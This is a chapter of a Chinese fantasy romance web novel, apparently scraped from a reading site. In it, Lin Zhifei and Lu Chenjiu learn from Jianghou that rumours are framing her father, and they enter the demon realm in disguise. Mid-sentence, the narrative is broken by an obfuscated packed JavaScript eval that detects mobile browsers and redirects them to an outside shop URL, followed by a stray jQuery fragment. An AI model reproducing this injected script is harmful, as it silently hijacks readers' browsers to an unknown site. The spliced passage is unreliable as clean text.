林雉飞和一个叽叽哇哇的布偶从五湖春内,吵到了五湖春外。
说吵架还是太过“抬举”他们了,林雉飞连娃娃的话都听不懂,根本就是在自说自话。
娃娃这边虽听得懂林雉飞的话,但回击过去的话简直幼稚得没边,一旁陆沉久都听不下去了。
最后还是陆沉久强行将娃娃收了回去,这场荒唐的闹剧才得以结束。
林雉飞还有些意犹未尽,最后放了句狠话。
“哼,要不是看在陆兄你的面子上,我今日定饶不了你!”
陆沉久微笑点头:“嗯嗯。”
两人乘云回到妖域结界入口,打眼就看见结界外站着一个身姿挺拔的男人。一袭五彩羽衣在风中猎猎翻飞,乍一看以为是展开的翅膀。
林雉飞定睛看去,男人的面容陌生,但周身气质以及这身衣服总让她觉得像绛侯。
她拿不准,侧目问陆沉久:“这人谁啊?怎么和绛侯那么像。”
陆沉久向来是略过表相,以气息认人。以林雉飞的修为也可以轻松做到这点,只是她没有这个意识。
“你试试看感知他的气息。”他引导林雉飞自己去发现。
凡尘十二洲危险重重,若只能看见事或物的表象,极易落入魔族或不轨之徒的陷阱。
他不能时时刻刻守在林雉飞身旁,所以必须教会她自己去辨认。
就见林雉飞屏气凝神,运转法力,注意力集中在结界口的那道身影上。
须臾,她面露喜色,笑盈盈向陆沉久分享:“真的是绛侯诶!他是易容了吗?竟然换了个脸。”
陆沉久反问:“你认为他为何要易容?”
林雉飞懵了,为什么要易容?这她哪儿能知道啊,她又不是绛侯肚子里的蛔虫……
见她一头雾水,陆沉久依旧没有要替她解答的意识,而是抛出关键信息,叫她自己去思索:“想想看,这里有什么特殊的。”
林雉飞视线绕着四周转了一圈,看到旁边一伙宗门弟子乘云而过,那缕成结的思绪瞬间散开。
“我知道了!”她眸光扑闪,带着发现新世界的兴奋,低声和陆沉久分享,“是不是这里来往的人太多太杂,要是被人认出来绛侯是妖族人,恐会生事端,所以他才会扮成普通人族。”
“没错。”
陆沉久赞赏的目光不加掩饰地落在她身上,聪明伶俐,一点就通,难怪年纪轻轻就已达地宁境。
假以时日,林雉飞的名号定然会响彻凡尘十二洲的。
只是这过程中必要受不少苦头了……
陆沉久思绪翻涌之际,云头已至结界直上方,他回过神,按落云头,和林雉飞一同下云走到绛侯面前。
林雉飞嘴巴像漏风的口袋,憋不住话,脚尖刚一触到地面便问道:“少帝,你怎么出妖域了?”
绛侯控背躬身,朝陆沉久一礼:“尊者。”
来此之前他听青鸟和父亲汇报,陆沉久度雷劫失败,修为大损。但陆沉久是父亲的客人,不论对方现状如何,他理应以礼相待。
听到陆沉久“嗯”了一声,绛侯又扭头看向林雉飞,拱手:“林道友。”
“那么客气干嘛,你还没回答我的问题呢。”林雉飞不喜繁文缛节,但还是回了一礼。
同样,绛侯也不太适应她跳脱的性子,面色有几分僵硬。
他轻咳两下,赶紧说正事。
开口的瞬间,话音又顿住了。他有些犹豫,毕竟他要说的事情涉及风长康前辈,也不知林雉飞听了能不能控制住自己……
林雉飞看绛侯欲言又止,磨磨蹭蹭的,叫人着急,于是主动询问:“怎么了?你有话就说嘛。”
绛侯心下一凛,给林雉飞来了句提前预警:“事关风前辈,希望你听完能保持冷静。”
闻言,林雉飞绷紧脊骨,笑容退去,小脸严肃:“你说。”
意识到事态严重性,陆沉久默默迈步,往林雉飞的方向靠近了些。
他低声:“不论听到什么,都要冷静。”
“行。”林雉飞揪着衣角,脚尖控制不住点着地面,“我尽量。”
尽量一词出来,那就说明有很大概率要失控了。
陆沉久一只手背过身后,悄然运转法力,乌眸紧紧盯着林雉飞的脸,不错过她一点点的表情变化。
绛侯紧张地咽了咽口水,然后缓缓开口:“你们走后,王都里掀起一则流言。不知是谁传出来的,说你爹就是引来清露蝶的人,我们羽渊给予他梧桐叶,救他的女儿,而他却……恩将仇报。”
“谁传出来的!都没有证据是我爹爹做的,他们凭什么就给爹爹定罪了!”林雉飞双手紧握成拳,高声驳斥。
绛侯见她火气上来,心立刻悬到嗓子眼,这种场景他也不知怎么应付,于是干巴巴来了一句:“你先冷静,消消火,消消火。”
“我火气还没彻底上来呢。”林雉飞掐着腰,小脸气得红扑扑。
绛侯擦了擦额间冒出的冷汗,继续道:“你千万要冷静,到时候进了妖域,别理他们说的话,我一定尽快帮你爹洗清污名。”
如今城内说书摊、茶楼还有大街小巷全是百姓愤慨议论,更有甚者还跑到王宫下,请求父王派人抓捕。
“还有就是……”绛侯看林雉飞的神色,一切正常,“你和风长康的关系,以及你来羽渊的目的,也被人散播了出去。妖域鲜少来生人,很快就有人想起了你的相貌,所以一会儿你回羽渊前,得变个样貌。”
林雉飞:“……”
怎么感觉自己像过街老鼠一样啊。
陆沉久听得脸色阴沉,凌厉的视线打在绛侯身上,横眉冷言:“既如此,帝君与少帝未曾做些什么,平白就叫林道友受此侮辱?”
凛凛威势从绛侯头顶压下,令他呼吸不由沉重。
他捏紧拳头,让力气往喉间去:“父王听到传言时便下令王都的人不得乱传,但人言难抑,父王自不可能派人将所有人封嘴,故而才会发展成当下情形。”
这话说得确实没错。
世事万物,唯人的嘴最好掌控,又最难掌控。
心服了,口中的话自然就顺意。心不服,任凭使什么法子,都无济于事。
闻言,林雉飞一股郁气堵在心头,不上不下。
陆沉久垂眸,望着林雉飞发髻上的蝴蝶,轻启薄唇,温声道:“我们此行在五湖春找到一缕魂息,只待少帝你去查明了。”
话是对着绛侯说的,但也是告诉林雉飞——他们有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703541|207377||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
证据,给风长康洗清污名不过是时间问题。
林雉飞眼眸骤亮,仰起头来,下意识向身旁人看去。
毫无预兆的动作,叫陆沉久没来得及挪开视线,两人目光直直对上。
碧蓝天际上,云层舒展滚动,露出遮盖住的灼热烈日。
陆沉久鼻尖涌入暖融融的阳光味,耳畔传来林雉飞清甜明朗的声音。
“陆兄,你说得对!我们都找到证据了,没什么好生气的,我们走,回羽渊!”
她笑眼弯弯,眼底闪烁的光芒和洒向大地的阳光交相辉映,一时难分伯仲。
陆沉久偏过头去,移开目光,可心头的炙热滚烫偏不放过他,叫嚣着要蒸腾出某种隐秘的……情愫。
他悄然调整呼吸,喉中吐出略微沙哑的“嗯”字。
绛侯委婉提醒:“劳累陆尊者与林道友变化一下容貌了,需得变成我的两名手下,画像在这儿。”
他手掌摊开,掌心出现两卷画像。
林雉飞和陆沉久一人拿了一张,摊开看了看。然后手掌往脸前一挥,变成两张普普通通的脸,身上衣服也换成画像上的样式。
趁着四下无人,绛侯飞速将妖域结界打开。
“林道友,你切记要冷静。”他还是不放心,扭头叮嘱。
林雉飞细眉挂愠,怎么就这么不信任她呢……
虽然她也不太信任自己。
“行行行,我要是出现忍不住跟人争辩的苗头,你俩就来打晕我!”
“倒也不必如此……”绛侯平稳的声线罕见崩裂。
三人快速走入结界中,一阵风吹过,结界恢复原样。
羽渊街头比昨日还要热闹。
人流窜动,孩童沿街撒欢狂奔,丝毫不顾及街道车马,惊得父母叫唤不止。
“快快快,说书先生要讲那忘恩负义的风长康了!”
“小雪,快跟上,不然我们抢不到好位置了。”
“来了来了。”
林雉飞:“!!!”
她咬紧牙关,指甲深深压入掌心。
陆沉久担忧低头:“别听,别在意。”
话说得轻松,能不能做到又是另一回事。
他不动声色地掐了个净心诀,往林雉飞后背一点。
林雉飞忽感静定,火气飞涨的五脏六腑如泡在一汪凉泉中,神识清明不少。
她知道这是谁的作用,侧脸向陆沉久道了声谢。
一路上对爹爹的流言超乎林雉飞的想象,添油加醋不说,还真假掺和。
不少羽族人听完痛骂爹爹,连诅咒爹爹不得好死都出来了。
林雉飞忍了一路,听到这句话脑子都没思考,脚步已经冲上去了,浑身散着一股杀气。
关键时候,还是一直观察她的陆沉久反应过来,一把将人拉住,加快脚步,走出长街。
长街上,一直注意林雉飞三人动向的四名行人,忽然快步向同一处方向去。
四人并未和林雉飞等人同路,而是绕到了玄圃宫后门。
不多时,后门打开一条缝,一只手朝他们挥动,示意他们进来。
四人进入后,连忙和接应他们的人说道:“我等要向主子禀报,少帝确实有异常。”